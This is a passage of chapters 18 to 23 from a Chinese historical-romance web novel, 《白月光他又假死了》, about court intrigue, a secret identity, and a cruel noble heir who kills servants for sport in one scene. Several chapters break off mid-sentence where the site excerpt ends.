竟也在官威之下,全身而退。 后也有不少人将严先生与无双谋士晏临江并提,上京临江,郢州秋水。 无论是与江湖人相对峙还是朝廷的人,秋水堂是如今最好的靠山了。 晏行丘编辫子的手法很是生疏,将那长生辫拆了又编,编了又拆,反反复复几次,终于在第四次的时候将那辫子编的像模像样的。 “等这事儿安稳下来,下次灯会的时候给你买个长命锁。”余下的便简单多了,晏行丘手腕一拧,插上发簪便梳好了。 晏行丘不知道这簪子的材质是什么,像铁又不似,却是比寻常的簪子更长出一个指节,见姜如素有些紧张的绷直了身子,他就着位置为她揉揉肩。 “不必惊慌,严先生若是知道赵永林的胡作非为会帮我们的。” “嗯。”姜如素心底其实依旧没底,她同严先生本就少有交集,凭什么见他一面,就凭着她为他绣过不少的物件? 可如今,也只有一试。 秋水堂虽说与姜如素的庄子都同样位于郢州山,但相隔并不近,秋水堂的位置几乎快要靠近山巅。庄子常年闭着大门。 两人上山的时候还遇上了下山的女侍,那女侍却是从另一岔路下来的,姜如素同晏行丘确认了好些次才确认没走错路。 姜如素扣了扣门,又等了一会儿,听不见任何的声响。她虽曾经来过一次,但那次是由女侍直接带她上山,下马车的时候就已经在庄子里了。 姜如素难免有些忐忑,严秋水平日隐居山中也不会是无人,若无管事开门,姜如素也不知是否该采取能莽撞的办法进去。 虽然翻墙进去或许有些冒昧,但也不是不可一试。 晏行丘安抚地拍拍她,抬手叩门,“晚辈景州晏氏晏行丘携友姜如素拜见前辈,望前辈赐一见。” 不一会儿门吱呀的开了,一位老者看了两人一眼,便让身令两人进来。才走了不到两步,老者唤来一位女侍,同两人交代了一两句便离开了。 “主人现在在茶室,两位随我而来。”女侍说完便低着头在前带路。 秋水堂建的极为宽阔,由方才进的地方又不知道进了几个垂花门,才行至一处湖泊前,湖泊上搭了一座木桥,横空跨在其上,将左右两岸连接了起来。 < 18.我画技还不错 《白月光他又假死了》全本免费阅读 揽月山庄是修建在郢州城外一处地势较为平坦的林中,本是一处客栈来着,可还未来得及修建完,那人便已故去,宋太守可惜这处好地方,便自己将它修缮完了。 每到桃树开花的季节,揽月山庄就有着一大胜景——十里桃园,抬眼望去尽是粉红的花朵。这会儿花谢的差不多了,一片青翠入目也是一番好景色。 今年郢州城的端午佳节过的似乎格外的压抑。往日都要庆祝上好几天,今年哪怕是端午末时将过,也依旧没能看出一点同旁日一般的节日庆祝。这才是赵永林来到郢州城的第七日。 “去,将那箭靶给我扶起来。”赵永林说着踹了身边跪着的奴仆一脚。 那奴仆听见赵永林的命令后,丝毫不敢怠慢,立马起身就朝着木台下跑去,揽月山庄的后院有着一片开阔的草地,特供平日来骑马或者蹴鞠用的,这会儿十丈外摆着一个箭靶子,已经被方才的人撞倒了。 那人倒在一侧,胸口上,腿部都插着箭,那名贵的箭矢尾羽还带着金丝,另一人的尸体还放在一侧没有处理,可他依旧不敢怠慢,跑过去的速度极快,身子前倾着像是要摔倒一般。只想赶紧把靶子扶起来才好。 赵永林一直盯着他,微微抬起右手,全六立马心领神会的递上箭,赵永林拉满了弓,那奴仆跑的快,他瞄准也上了一些难度,赵永林不满意的啧了一声。 为了适当的增添一些趣味性,赵永林用的都是鸣嘀箭,鸣镝箭破空的刺耳声像是索命鬼的哭嚎声,那奴仆发现了赵永林射向他的这一箭也只能跑的更快一些。 一箭未中,赵永林有些兴奋的咂舌,跑掉了才有趣,倒是比上一个一箭就射中的心脏的有趣多了。赵永林又接连射出了几箭,先是射中了腿部,又空了几箭。 那空的几箭都落在那奴仆的周身处,被射中的腿部还留着血,他跑起来一瘸一拐,被箭矢声惊吓的连摔了几个跟头。 赵永林心情有些愉悦的射出最后一箭,正中那人的脖颈,直接穿透了。 “本世子乏了,茵茵备茶。”赵永林将弓直接扔给了全六,用眼神瞥了一眼方才被他射杀的奴仆,“对了,这个奴才的卖身契呢?” 全六从怀中摸出一沓卖身契,手指翻飞间抽出好几张双手呈给了赵永林。赵永林敷衍的扫视了一眼,名字不大好听他也不想记住,交给了身侧的阮茵茵。 “茵茵,待会儿就用这个点火煮茶。” 卖身契一旦烧毁便就此作废,还于自由身。那靶场上的几人卖身契都在在煮茶的小炭炉中烧毁成了灰烬。 这些人都是赵永林从上京带来的奴仆,有些卖身契才签订了约莫十几日,可他们如今做了这草地的肥料,自然得不了自由身了。可这样的人,赵永林还带了不少。 似乎察觉到自己的“善解人意”,赵永林同着怀中的阮茵茵逗笑着,“果真这世间的大善人还得是我赵永林才是。茵茵你说是吗?” 阮茵茵毕竟是春香阁的头牌,最会察言观色哄人开心,用卖身契点了火,笑着附和道,“自然是世子最为心善,这全天下□□德还是世子第一。” “还是茵茵最懂我啊,不愧是我的解语花。”赵永林被哄得开心了,将怀中的美人揽的更紧了,又凑上去吻了吻。 春香阁几个善舞的姑娘也被赵永林给带了回来,他本是打算将人都给带走了,老鸨和着宋闵劝说了许久,赵永林才大发慈悲的留下了温软。 “可是世子终究还要回京,那里能做世子解语花。”阮茵茵的语气里多了几分哀怨与委屈。 “等我回京的时候,一定把茵茵也给带上。”赵永林很是受用,掐着阮茵茵露在外的细腰,逗得阮茵茵在怀中痒的咯咯笑。 屋外进来了一个穿着黑衣的男子,大步走到一侧同全六交头接耳说了什么后,便朝着赵永林行了一礼下去了。 “勒伍传话回来了?”赵永林抬眼盯着全六。 勒伍就是那日在春香阁拦住赵永林的暗卫,是他父亲平阳王的手下,总是一副唯命是从的模样,要不是他父亲此次派来他另有用处,赵永林是最厌恶他跟着的。 全六微微颔首,却不说话,淡漠的扫了阮茵茵一眼。阮茵茵自知是机密之事,自觉的从赵永林的怀中挣脱出来,坐在茶桌的另一侧隔着远远的。 全六这才凑近,轻声耳语道,“勒伍那边遇到了一些麻烦,迟都督已经表明为王爷和世子效命了。” 这一点丝毫不出赵永林的意外,他这次被遣送出京悔过,本就为此事而来,迟都督是黾州城的兵马都督,虽同着郢州城中间还隔着一城,比邻景州,于上京是个既不相近又不甚远的地方。 恰好能做好谋反时短时能围攻上京,又能做到招兵买马闹不到圣上面前。还在上京的时候,平阳王就已经同迟都督密切来信,这次来不过是细谈。 “什么麻烦?” “也不是大麻烦,不过是同迟都督之间有些条件没谈妥罢了。”本就细谈好的事儿,又得从头说起,全六难得那张时时都冷漠的脸有了些许迟疑,“是有人再背后出手了,不过目前还不知道是谁?” “那也不算是事儿。”赵永林把玩着小茶盏。“勒伍不是父亲手下最得力的干将?交给他就是。” “还有一个事。” “什么事?” “十四下落不明。” “谁?”赵永林记不得这人是谁,于他而言除开几个贴身暗卫,寻常的也不过是一些蝼蚁之命,死便死了,他也没必要记着。 “世子托我盯着姜如素的杀手。” “一群废物,下落不明就不明,这点事儿有什么可说的。” “可是彭先生那边......”全六还想说,但纠正主子的决策是大忌,可十四的下落不明更显得姜如素可疑,若她不出城便不会按照世子所说的出城便抓来。可如今这一遭,显得她更为可疑。 “我做到将消息透露给彭先生就已经是做到盟友 19.是吗? 晏哥哥 《白月光他又假死了》全本免费阅读 马车缓缓的在绣楼门口停了下来,侧窗是粉色的丝绸帘子,郢州城未曾见过这般的样式的。 车上活泼的跳下来了一个小丫鬟,梳着简单的双髻,一些银簪做成各种样式别在发间,身穿着是浅粉色的齐胸襦裙。 丫鬟进了门瞧见一位看管铺子的绣娘,朝着那人行了一礼,“请问姑娘,晏公子可在此处?” “晏公子?”那绣娘嘟囔了一句,似乎想到绣楼里那位名叫晏行丘的人恍然大悟过来,“姑娘是来寻晏行丘公子的?” 小丫鬟正欲再询问一次,马车上的女子出言制止了她。 “晚云扶我下来吧。”小丫鬟上前去将那马车上的女子扶了下来。 “小姐慢些,不过......”晚云低声轻语着,“晏公子似乎并不在此处,倒是有一位名叫晏行丘的,或许是晏公子的同乡。” 女子摇摇头,“晏哥哥离京后,自然不会再叫往日的名号。晚云当真是糊涂。” 女子走进铺子,朝着方才那位绣娘行了一礼,绣娘平日那里见过这个架势,也是慌张的回了一个不太正式的礼。 “姑娘可愿帮小女子与这晏公子见上一面?”毕竟是郢州城都少见的大家闺秀,绣娘自然是不敢糊弄,“小女子尹雁淑同晏公子是旧识,今日也是贸然相见,烦请姑娘代为转达。” 绣娘一听见这名字,立马朝着尹雁淑重新行了一礼,“见过郡主,晏公子今日正巧在后院,我这就为郡主将晏公子寻来。郡主且先随我至堂屋休息。” 任是再怎么足不出户的人也该知道,长公主之女惠安郡主尹雁淑是上京一顶一的贵人,是汉地闻名的第一美人。 郡主要见晏行丘,自然是可以直接相见,但无素绣楼到底是没见过这般架势,万一扯上一些私人恩怨,姜如素还是要了解些来龙去脉的。 为了不打扰到两人,姜如素站在后院的那扇门侧,看见一个约莫十八岁的姑娘,指如削葱般纤细,端着那茶碗好看极了,像是汉地最为常见的那些簪花仕女图里那般模样。 “小姐,晏公子或许并不在这里,要不我们先回客栈住下,待奴婢查探清楚了,小姐届时再来同晏公子相认也不迟。” “晚云,我等不及了,我好不容易才得到了晏哥哥的下落。”尹雁淑瞧着倒不像是埋怨,倒像是满怀着希冀要同心上人相见一般的模样。 想来不过是上京那些往事,姜如素自知听下去实为冒犯便溜达去前院瞧今日的生意如何了。 晏行丘到的很迟,上次画的那道疤这次倒是浅了不少,穿着的粗布衣服同郡主身上似乎波光粼粼的上好丝绸有着莫大的差别,他也没带冠,只单单一块见不得多好的玉石雕成的玉簪盘着发。 不过是寻常的打扮,但在金枝玉叶的郡主眼里倒像是天大的事儿,尹雁淑心疼的凑了上去,想去抚摸那些疤痕,似乎这样就能将晏行丘受得苦难一并消除。 “郡主。”晏行丘行了一礼。 “晏哥哥,你我不必多礼的。”尹雁淑看着晏行丘的眼神满是不舍,久别重逢实在是太难了。 晏行丘在那手指快要触及皮肤的时候,后退了几步,朝着尹雁淑行了拱手礼。“晏某见过郡主。” 泪光在尹雁淑的眼中反反复复的打着转,美人落泪实在是一大美景,晏行丘垂目避开了不去瞧。 “晏哥哥,你还在怪我是不是?” “郡主言重了,晏某怎敢怪罪于郡主。”晏行丘一直保持这那行礼的姿势,将同尹雁淑的距离拉开来。 “晏哥哥,你还是在怨我,”尹雁淑声音颤抖着,伴随着轻声的啜泣,不论谁见了都忍不住想要安慰她,“你在怨我当年扰了你和皇叔的计谋是不是?怨我走漏风声害你受罚。” 尹雁淑哭的也是极为柔美,泪水如断线的细珠,声音满是自责,就像是一块将碎的宝玉。 “郡主言重了。”晏行丘不为所动,冷漠的像是个旁观人。 “可你我不该这样,”尹雁淑自顾自的哭泣了起来,“都怨我,若不是当年,你我分明应该有了婚约才是。” “并非郡主之错,是我当年同陛下求断了你我姻缘的。” “什么?” 尹雁淑很是不相信,她不信当年上京最为登对二人,本该是从人们口中夸赞的才子佳人到恩爱夫妻才是,原来是这样。 可他并不是突然就消失在上京的,晏临江也不是突然死在那个上京的秋日的。 当年晏临江同陛下形影不离时,曾玩笑话提到过待围猎过后便为两人赐婚。虽说是玩笑话,但不过是天子的试探,或许背地里早就已经为这件事安排妥当了。 长期的博弈,平阳王早就没了当年那般放肆,其党羽也被削弱的几剩于无,只需要一个契机,便能全陛下“兄友弟恭”的情谊,也能铲除掉这个时时忌惮着他皇位的弟弟。 秋猎是寻常每年都会举行的围猎仪式,但那年终究不同,晏临江与陛下早就已经布好局,只待着赵永林在丛林按照他们所计划的那般误杀他,晏临江作为陛下的左膀右臂受此刺杀,赵永林平日与他有仇,就是再怎么辩驳也是有口难言。 那时陛下便可以借此事大度的免了平阳王的权,远送二人出京去个穷山恶水的边陲,毕竟山高路远,长途奔波死于途中也未尝不可,就算是侥幸得活,三年五载也该足够了。 尹雁淑似乎无意间撞见了两人的密谈,陛下大度的免除了这位侄女的过错,但这份宽恕终于在第二日报复在了晏临江身上。 陛下却在秋猎前为二人赐了婚,晏临江本想到时候待秋猎结束再去求陛下撤回旨意,可晏行丘还未动身,便被某世家哥一箭射中胸膛,那箭入的浅,但上面擦拭了蒙汗药。迷倒一头鹿都可以,更可况是晏临江。 再后来便是他醒来的时候,陛下并未下旨,但口谕还是传到了他府中,平阳王世子于围猎前中毒,药瓶是从他帐中查了出来,平阳王又惯用着那副救命之恩胁说着。 棋子落错,晏临江也自知触怒圣颜,便自请离京,跪了一天一夜也将那份姻缘了断了。 若是没有尹雁淑呢? 晏临江从来没这么想过,民心本就是为君者最为看重的标尺,深得民心的 20.怕是活不久了 《白月光他又假死了》全本免费阅读 “你怎么这么早就收拾好了?”姜如素刚起床就瞧见晏行丘都已经收拾妥当了。 晏行丘脸上画的可怖的疤痕依旧还在,像是怕穿帮,晏行丘还用随身的药粉又补了补。姜如素想到上次那洗不掉的颜色,不由得笑出了声。 “你醒了?”晏行丘看着似乎有些失落,姜如素觉得有些困乏,没来及捕捉住晏行丘眼中那一抹异样的神色,“还困的话,就在休息一会儿吧,今日我一个人去就是。” “到底我还是该去的。” “那你到时候就在马车上等我,好吗?”晏行丘的声音放的很低,就像是哄着家中不知事的儿童。可他平日并不这样,他平日虽然看着老大不小了,但总是说些天马行空的话语。姜如素觉得不对劲,但她不知道从哪里说起。 “你今日怎么有些奇怪...”昨日也奇怪,马车上突然停止的话题,犹似遮掩又似坦荡般的神情,太过于陌生。 “有吗?”晏行丘挤出一个笑容,“我只是在想...想些别的。” 昨夜怕生变故,晏行丘同她是在一间客房里住下的,晏行丘打着地铺,醒来时就已经收拾好放回柜子里了。 “你这是干嘛?”姜如素昨夜将外袍脱下放在枕间,和衣睡了一夜,倒也还算好,衣服没见着有多皱巴巴。 姜如素有些不习惯,她不是那些世家小姐,自幼身边带着几个丫鬟随身伺候着,晏行丘这时候替她着衣,这般亲近的举动倒是几乎未曾有过。 “替你将衣服穿戴妥帖些,”晏行丘细致的将穿着过程中的一些褶皱重新整理了一番,看架势就好似要将姜如素送去什么大典做颂词的圣女。“我们总不能输了气势。” “我到底还是能有着晏家撑腰,赵永林不会真要了我的命。”晏行丘自顾自地念叨着,像是怕姜如素不信,又说了回来。“晏家虽然远在景州,但多年的家族的积攒倒,汉地三大世家的名头可不是白说的,更何况...” “自从兄长受封成为无双谋士,差一步成为丞相之后,晏家更不比寻常世家。” 晏行丘也不管姜如素是否想听他念叨这么多,是否想知道这些事,就像是个破洞的袋子,一股脑的全漏了出来。 “是是是,”晏行丘讲了好些事儿,姜如素听着这似乎要讲到晏家发家史的故事,只觉得更困。“那就辛苦晏公子了。” 揽月山庄的装横本是与这十里桃园交相而建,宋闵本就是想着建一个文人雅士爱的地方,赵永林来了后的大肆改动到隐隐有些只顾奢靡之风的两不像。 “世子,晏行丘到了。”全六附在赵永林耳侧禀报着。 才至巳时三刻,赵永林摊在阮茵茵怀中醉生梦死的看着眼前的穿着舞服的美人伴着乐声,衣裙翩飞的舞动这腰肢。 揽月山庄走昼夜不分的亮着灯烛,丝竹乐未曾断过。 赵永林抬手挥退了所有的舞娘乐师,语气带着戏谑的吩咐着,“去请晏公子进来。” 晏行丘被临着进门的时候,赵永林还在逗着怀中的美人,见晏行丘进门也没分过去一个眼神,“晏公子,这是带着我们打赌的东西来了?” “世子所求,自然是不敢怠慢。”晏行丘说话毫不客气,敛着一侧的空椅便自己寻了一处坐下。将手中的盒子扔到了全六怀中。“几年不见,世子真当是越发的跋扈了。” 赵永林听到晏行丘的嘲讽,像是什么奉承话说进心窝子似的笑得开心,“没想到,晏丞相...哦不,差点忘了,你这不是没当上丞相。” 离着丞相之位,只差一步只要的晏临江,似乎不论是身为仇敌的赵永林,还是与他险些成了夫妻的郡主,所有人都认为没成丞相是他心中的一道伤疤。 反反复复的提及,就能将他在上京几年的所作所为都归为一场笑话。 他当真不将权力放在心上,可是有人会信吗?会信他为陛下殚精竭虑的出谋划策只单单为了陛下口中夸赞的那一句“无双谋士”?会信在上京深得民心的晏临江没有功利之心? “无双谋士”四个字到底是空落落的头衔,除了辅佐陛下,他几乎没有任何实权。 成为一人之下万人之上的丞相,他的才智本就该坐上那个位置,他当真不想? 他当真不想。 “世子说笑了,晏某只是个平平无奇的小商贩。” 就像是一个笑话炸开,引得赵永林笑得停不下来。 “晏临江,你要是打算投靠我和父亲,我可以将你我之间的恩仇一笔勾销,如何?”赵永林笑够了,一扫方才的只知淫乐的姿态,坐直了身子,语气真挚的少见。“只要达成我们所想,到时候丞相之位,非晏卿不可。” “世子又在说些玩笑话了。” 赵永林对晏行丘和他斗嘴的事儿,看的倒是大方,毕竟眼前这人除了能逞口舌之快,也翻不出任何波浪了。比起往时,他巴不得晏行丘嘴皮子再利索些,他以前的话很少,就像是个狡黠的老狐狸,看着人掉入他设下的陷阱时,才会心情愉悦的从眼眸中多上一丝人情味。 他太熟悉当年的晏临江了,以至于三年不见看着这张脸都能认出他来。 “也是,没想到你居然活过了第三个年头。”赵永林瞧着晏行丘那张名动上京的脸,如今被刀疤划痕弄得极为丑陋。“脸上这道疤是怎么得来的呢?晏公子这张脸,不知道再回上京,是否能让那些心仪你的小姐们心都碎了。” “样貌之事,不过是身外...” 晏行丘还未开口,就被赵永林以文人谋士总爱装清高的给堵住了后半段没说出口的话。 是行乞时被殴打了?还是被过往的仇家安排的人给行刺了?或者是成了小白脸......赵永林的猜测朝着越来越过分的方向猜测去。越是卑贱见不得人,越是说得起兴。 晏行丘始终缄默的保持着那个坐姿,就像是硬撑着要证明他同当年能与平阳王世子斗的你死我活的晏临江。 “我至今都很难想象,那个当年把我父亲逼到两难之地的无双 21.还她一梦 《白月光他又假死了》全本免费阅读 郢州城外的山似乎很爱起雾,于话本中是个觅寻仙迹的仙山。 可是眼前不着边际的白雾只会让人感到心慌,只剩白雾,无论如何都未能瞧见旁的丛林花果。姜如素只能循着一个方向先是漫无目的的走着。 这是很平静的地方,连风声都没有,茫茫天地之间只余下她一人,这是少时打坐时放空大脑会达到的极境,往日最是能静人心脾的地方,如今姜如素只觉得慌乱的没个着落点。 分明是入夏的天气,她只觉得背后生寒,如坠冰窖,像是生生被抽去了脊骨。 “别动。”男子的声音从背后传来,如记忆中那般从背后将她扣入怀中,姜如素知道是晏行丘。 可她有些分不清了,是那日城北外雾气四起,他救她于生死之间,还是揽月山庄外不知名的山间。 “对不起,”晏行丘低声轻语,声音像是被抽离走了一般,“是我失算了。” 她记起来了,晏行丘那时护着她从揽月山庄离开的时候,肩胛被箭矢射个对穿,血还没止住,她记得她只给他喂下了吊着命的药丸。 还有呢?她记不清了。 “我先替你处理伤口,那箭上有毒。” 晏行丘扣住姜如素的肩,不让她回头,靠着一侧的树木稳住身形,在她耳边不停的说着,“这几日不要回绣楼,不要去郢州城,不要相信尹雁淑,不要相信她。”耳后的声音似乎越来越小,姜如素只觉得浑身冰凉。 “对不起。” 错不在你。姜如素想出声却是哑然。 晏行丘在她耳侧落下一吻,那吻落在她耳后,于混乱的鸣嘀声中,她清晰的听见了那一句,“走吧。” 就像是叩开仙人洞府的密语,雾散开了,她只能遥遥的瞧见郢州城,离得很近又里的很远。她铮铮地看向手心,本在记忆中染着血的手掌,赶紧的连指尖的薄茧的都看的清楚。 那城南一处起了火,火苗在风中起舞着就像是风中飘舞的绸缎。 是她的无素绣楼起火了。 她的心血像是西羌最是艳丽的一朵无素花绽放在这离西羌四百里的汉地。 姜如素几乎是突然醒来似的,眼睛空洞的盯着那床上的纱帘,思绪还在那梦中。就像是有无数的棉团一下子全都塞进了姜如素的大脑,她大脑一片空白,完全失去了思考力,只愣愣的发神。 晏行丘死了? 晏行丘怎么会死,怎么会? 可是那毒极为霸道,乃是阴险的招数,姜如素会医术,但到了这时候她心底还是不由得慌张。晏行丘的处境并不会好。 她现在是住在袁卜榆的庄子上,她来庄子的那日一味的嗜睡,袁卜榆见不对劲替她号脉,才得知晏行丘或许给她下过迷药,但姜如素本身对这些药物的反应就比之常人更为平淡。 那日,晏行丘想过一人赴死。 姜如素又想到了很久很久那个梦,晏行丘接住那昇果的那一日,那在梦中听见他轻哼的歌谣。就像是有一味诅咒降临在她身上,靠近她的晏家人似乎都不得善终,不得好死。 她还没问晏临江的过去,还没来记得再得知他离开西羌,在逝世前的四年中过的怎样,她还没问晏行丘那日到底是想说些什么? 似乎有些来不及了。 “魇着了?”前几日将姜如素带回来之后,她总是会在发出梦呓,寻常经历过生死劫难之后难免会出现这般的情况,袁卜榆心忧她,便一直守在她床榻边,甚至将自己的药材也搬来屋内舂捣。 “梦到了一些不太好的事情。”西羌总是以达无念之境为敬奉自然最上乘的修行,梦境往往是会扰人心魄,最是少见的,也是万分之一得遇将来的预示。 “卜榆,我想回绣楼看看。” “怎么突然想回去了?”袁卜榆轻声问道。 袁卜榆其实是算不得意外在那不知名的山中遇见姜如素的,换句话说,他早知道那日可能发生的种种。 回绣楼并不是一个明智决定,姜如素只觉得惴惴不安,她不太理解汉地的习俗,她不理解晏行丘分明同她说着不可轻视的世家,被处罚的世子居然会对他痛下杀手。 火烧绣楼,那些人并不是干不出来。 她有着太多谜题了,她不懂,她看不透。 她知道赵永林的人抓不住他们二人,肯定会守着绣楼等着她或者是晏行丘自投罗网,但一切发生只在一瞬,前后因果却缠着她压抑。 “我做了不好的梦,我梦到了绣楼被人烧毁了。”无素绣楼是姜如素的心血,她不可能在汉地留一辈子,她迟早是要回西羌的,但这并不能剥夺它在姜如素心中的分量。 “我替你回去看吧。”袁卜榆轻声说着。 “我还是想亲眼看看。”并非是姜如素不相信袁卜榆,只是袁卜榆这位知己将她看的很重,她完全相信袁卜榆会为了她而说谎,告诉她一切安康,待到一切都处理好了,才将原委尽数告知于她。 似乎万千辛苦在他口中,化作为并不烦扰他的举手之劳。 “你的安危更重要,”袁卜榆心情并不是很愉快,连眉眼见都瞧不出平日那份亲近之气,“赵永林到郢州城后曾向边陲送过信。” “并不奇怪。”姜如素记得晏行丘第一次同她提及平阳王世子前,简短的讲过平阳王与当今陛下的之间的事儿,平阳王想篡位寻找能合作之人是最上乘的计谋。 “或许是与你有关。”作为知根知底的人,袁卜榆太清楚了,这封信是送给西羌某个人的。 “我不会命绝于此的。”姜如素说到,在批文中七年之期到来之前,她不会死的。“更何况,我这儿不还跟着一个神医,你肯定会救我于生死之地的。” 分明是姜如素随口说来敷衍袁卜榆的,室内静弥的听见袁卜榆舂捣药材的簌簌声。 但袁卜榆是真的会做到。 他的沉默是默许也是纵容。 明明说不回去的是她,说要回去的又是她,树荫透过窗台照在室内,午后穿堂风吹着他衣角像只蝴蝶围着他打转,袁卜榆静静的听她讲完想法,说着要陪她一起回去。 郢州城的日子似乎又回到了赵永林还未来之前,就像是一场短暂的梦魇,转醒过来一切都像是从未发生 22.他就是晏临江 《白月光他又假死了》全本免费阅读 身为汉地的颇为受宠的郡主,尹雁淑居然会专程来见她,更可况她今日回来本就是悄声而归。 “那我去见见她。”姜如素嘴上应承着点秋,却是瞧向袁卜榆。 袁卜榆怕她脚下生风,说着就走侧身挡在了她身前,朝着她摇了摇头。 姜如素才回绣楼,甚至还来不及喝上一口茶,尹雁淑就到了。她的出现就是一个谜团,自她出现在郢州城就是一个谜团,她并不清楚那日她同晏行丘争吵过什么,少女饭桌间红着的眼,似乎证明了一些旁的东西。 金尊玉贵养在上京的女子,能同那远离京都的行商之人有什么交集。 或许晏行丘并不是晏行丘。 姜如素的突然生出了一个可怕的猜想,袁卜榆知道她或许想问些什么,心有灵犀的随她换了一处地方。 “卜榆,我有一问。” “你说。” “晏行丘到底是谁?”方才一时脑热,姜如素光顾着几人叙旧听她们讲着秋水堂的事儿,现在冷静下来,只觉得一切都是荒唐。 她一直知晓晏行丘是一个假名商的身份,毕竟他同传闻中那副模样完全大相径庭,便想着留下当着杂役也是好的,后来他告诉她,他是晏临江的表弟,她便顺着程伯的安排留下了他。 如今,他居然真是垣州十二行的人,还和郡主说不定有着不知多少的过往。 晏行丘到底是谁? 人在生长的年岁中,骨骼是最不会说谎的,袁卜榆见过晏行丘,自然是认得。 可是记忆会说谎,时间若是在远些,就是八年了,她都快记不得那少年的模样了。 “不就是晏行丘。”他生了私心。 “姑娘。”点秋去前院回绝了又回来了,看她的神情,看来并未打消尹雁淑的念头,“郡主说,今日就是专程来见姑娘的,若是见不到她是不甘心的。” 轻飘飘一个不甘心,却是在想姜如素说着,今日非见她不可。 “我知道了。” 姜如素并不是喜欢掺和进尹雁淑和晏行丘之间,但她低估了晏行丘,他身上有着太多的谜底了。若是弄不清,她自也不会甘心。 “既然回的风声都被她们知道了,想来也不急着回去了,卜榆在绣楼歇下吧,待我处理完我们再回去。”袁卜榆答应陪她回绣楼,作为交换的便是,回来看过绣楼安稳后就随他回庄子去。 赵永林送去西羌的信,越过重重山关,迟早会有人寻上她的,她的处境也不见得是多么处身于局外。 “自己的安危为上,不如我同你一起去?”袁卜榆还是放不下心,西羌当年出逃的人如今差不多尽数都已经被找回了,姜如素是为数不多的幸存者,时日越近她说不准那日在他转眼的功夫就消失了。 “不必了,我能处理好的。” 若要挑开晏行丘的身份,尹雁淑她是一定要见的。 袁卜榆也不拦着她,将那枚玉佩系在她腰间,又递给她一个小竹筒,拇指般大小的。 “如果遇到危险,随时通知我。” “好。” “姜姐姐,晏哥哥呢?怎么没同你一起回来。”少女灵动活泼的走近,就像是盼着心上人回来与她相会一般,眼中闪着希冀的光。 “我不知情。”姜如素语气闪躲,眼眶发红,一两字之间一行清泪落下。 “这是怎么了?”尹雁淑连忙安慰道,像是个知心人一般,由着姜如素掩面在她怀侧哭泣。 “郡主,你同平阳王应当认识,你让他放过晏公子可以吗?” “姜姐姐细细说说。”听完姜如素讲的平阳王世子意图射杀晏行丘,以及最后看见他满身窟窿时,尹雁淑哭的梨花带雨,“都怨我,我要是当时执拗的随着晏哥哥去,就不会发生这般不好的事情了。” “不怪你的。”姜如素安慰着她,但她记得晏行丘的叮嘱。 不要相信尹雁淑,不要相信她。 “我今日本想着打算动身回京,想宴请姜姐姐,往后还得多烦请你多照拂晏哥哥,居然发生了这般的事情。”尹雁淑说着就拉着姜如素的手往外走,“我这就去寻赵哥哥说个清楚。” 屋外停着的马车是尹雁淑那有着粉色的丝绸帘子的马车,她不容姜如素多说些什么,扯着她就上了车,对着车外的车夫说了句揽月山庄便启程了。 “我去是否有些不妥?”姜如素嘴上还说着客套的话,心里对尹雁淑却很是防备,眼前的小姑娘看着像是仗义的要去讨个说法,但拉着姜如素的手像是怕她这个真正的主角逃走似的。 以天真柔弱为假面,这群人她都看不透。 “也不算的,以前晏哥哥还在上京的时候,虽然总是和赵哥哥产生矛盾,那时我总会带着些吃食让赵哥哥不要对他那么凶。”尹雁淑不设防的像聊家常。 尹雁淑的母亲长公主本就是陛下这一辈唯一的女子,平日几个哥哥对她也是宠爱到了极点,几位皇子出行历练时,都不忘给她带回不少的宝物,就为了哄她开心。 尹雁淑也是长公主膝下唯一的子嗣,自然也是很受恩宠,莫说是如今的太子,皇子,世子都将她如掌上明珠般护着。 “所以姜姐姐你就放下心,晏哥哥会没事的,他最是擅长逢凶化吉了。” 揽月山庄今日是出奇的静,连上次来时,不曾停歇的乐声都停止了。马车停下后,就有几个侍卫上前来领路,姜如素认得其中一个名叫全六的,那时赵永林身边最得力的助手。 几个侍卫将尹雁淑和她请至了二层的一个小厢房,厢房里没有摆放任何的东西,只留着一展入户隔断的屏风,两个蒲团一方小几,真要算上便是添上一个屋角的两处香炉。 为了赏景,窗户凿开的很大,窗坎都快似门坎一般了,靠窗的地方能将外面的景色一览无余,但还有这一个露台。 姜如素心忧防备的瞧出了端倪,那小小的窗坎之下,两侧有着一团小小的阴影,那里有人。 尹雁淑先是坐了下来,手撑在桌上,嘀咕着埋怨没个热茶喝喝,转念似乎想到什么有趣的事情,唤着进门就不肯坐下的姜如素同她 23.他非死不可 《白月光他又假死了》全本免费阅读 姜如素被软禁了。 于她意料之内的被软禁了,尹雁淑就像是演了一场戏,只为了将姜如素又带回这在他们目光下的小囚笼。 尹雁淑告诉完她晏行丘就是晏临江后,便恰时的正好被全六请去正厅。屋外的看守还在,入门处两人,临窗处两人,四个武艺不低的人就守着她这一人。 姜如素只是起身,还未迈过那个门,两侧的侍卫就拿着刀拦在了姜如素的面前,说是世子与郡主谈话,为防止她偷听故而还请她暂居在厢房。 侍卫的嘴上都说的好听,是请她暂居,但根本不允许她出房子任何一步。 三餐是由山庄上少见的侍女送进屋子的,但瞧着似乎又不太像,姜如素从她耳垂的耳洞以及身上的脂粉味识出来,这怕是那些被赵永林带来山庄的舞娘,如今换身装扮侍奉在尹雁淑身侧。 视人命如草芥的暴徒之间,居然还在意着亲友相聚时的温存。 可她也曾有过挚友相聚的时候,晏行丘来后总是爱隔三岔五的寻些特色的吃食,偶尔甚至还会托驿站的人为他带些其他地方的吃食。 有景州的吃食,有上京最是出名的风干菜,有一些闻名远近的,也有一些只存在当地街头巷尾的,姜如素那时还笑着问他,都将存银拿去买吃食了,来日可娶不了媳妇儿。 晏行丘笑着说不用忧愁,原是有心上人,原有世家为后家财万贯。 一旦静思下来,似乎所有的记忆都在争先恐后的征兆这,要告诉她在就该知道了。 太乱了,思绪太乱,心太乱了。 她一时都不知道如何该称呼他,是唤他晏临江呢?还是晏行丘。 花神节前淋雨赶回病倒的那日。梦中的晏临江固执的问她,分得清吗?那时姜如素还单纯的深思着,为何要分清,她也曾怀疑过,也曾希冀过,或许晏行丘就是晏临江,他有着不可说的原因,就想要如此陪伴着她。 可是后来她发现晏行丘永远不会是晏临江,晏临江始终是温温柔柔,有礼有节的。可晏行丘却像是长不大的少年,会举着青梅让她试试,尝出个评价才高兴的离开。 她恨晏行丘吗? 她说不上来,姜如素本就已经做好准备,一日复一日的打理好她的绣楼,再看着点秋她们的成长,待她们能称其绣楼的那一日,再回西羌好好的过些时日。 可晏行丘如同莽撞的少年,硬生生的闯了进来,在她心中占上一席之地,她似乎总是会被他牵扯着情感,会被他逗得笑,也会因为他的出现安心下来。 